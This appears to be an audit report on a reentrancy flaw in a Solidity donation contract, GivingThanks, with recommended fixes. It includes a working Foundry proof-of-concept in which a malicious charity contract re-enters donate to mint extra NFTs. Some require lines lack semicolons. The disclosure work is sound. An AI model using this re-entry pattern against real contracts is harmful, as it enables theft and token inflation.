Summary
The GivingThanks contract's donate function is vulnerable to reentrancy attacks, allowing malicious charities to mint multiple NFTs and receive multiple ETH transfers from a single donation.
Vulnerability Details
The vulnerability exists in the following function:
function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether")
_mint(msg.sender, tokenCounter);
// ... token URI creation and setting ...
tokenCounter += 1;
}
Key issues:
Violates Checks-Effects-Interactions pattern
ETH transfer occurs before NFT minting and state updates
No reentrancy protection
Allows malicious charities to reenter and mint multiple NFTs
Proof of Concept:
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../src/CharityRegistry.sol";
import "../../src/GivingThanks.sol";
contract MaliciousCharity {
GivingThanks public givingThanks;
uint256 public attackCount;
uint256 public maxAttacks = 3;
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
}
receive() external payable {
if (attackCount < maxAttacks) {
attackCount++;
givingThanks.donate{value: msg.value}(address(this));
}
}
}
contract ReentrancyAttack is Test {
CharityRegistry public registry;
GivingThanks public givingThanks;
MaliciousCharity public maliciousCharity;
address public attacker = address(0x1);
function setUp() public {
registry = new CharityRegistry();
givingThanks = new GivingThanks(address(registry));
givingThanks.updateRegistry(address(registry));
vm.prank(attacker);
maliciousCharity = new MaliciousCharity(address(givingThanks));
registry.registerCharity(address(maliciousCharity));
vm.deal(attacker, 2 ether);
}
function testReentrancyAttack() public {
uint256 initialNFTs = givingThanks.balanceOf(address(maliciousCharity));
vm.prank(attacker);
givingThanks.donate{value: 1 ether}(address(maliciousCharity));
uint256 finalNFTs = givingThanks.balanceOf(address(maliciousCharity));
assertGt(finalNFTs, initialNFTs + 1, "Reentrancy attack failed to mint multiple NFTs");
assertEq(maliciousCharity.attackCount(), 3, "Attack did not perform expected number of reentries");
}
}
Impact
Effects:
Multiple NFTs minted for a single donation
Multiple ETH transfers from a single donation
Breaks the 1:1 relationship between donations and NFTs
Token ID sequence manipulation
Artificial inflation of donation metrics
Tools Used
Foundry Test Framework
Manual code review
Recommendations
Add OpenZeppelin's ReentrancyGuard:
contract GivingThanks is ERC721URIStorage, ReentrancyGuard {
function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
_mint(msg.sender, tokenCounter);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether")
}
}
Additionally, consider:
Using a pull-payment pattern instead of direct transfers
Adding donation amount limits
Implementing charity withdrawal cooldowns
Adding events to track donation patterns
Example of pull-payment implementation:
mapping(address => uint256) public pendingWithdrawals;
function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
_mint(msg.sender, tokenCounter);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenCounter, uri);
tokenCounter += 1;
pendingWithdrawals[charity] += msg.value;
}
function withdraw() public {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool sent,) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
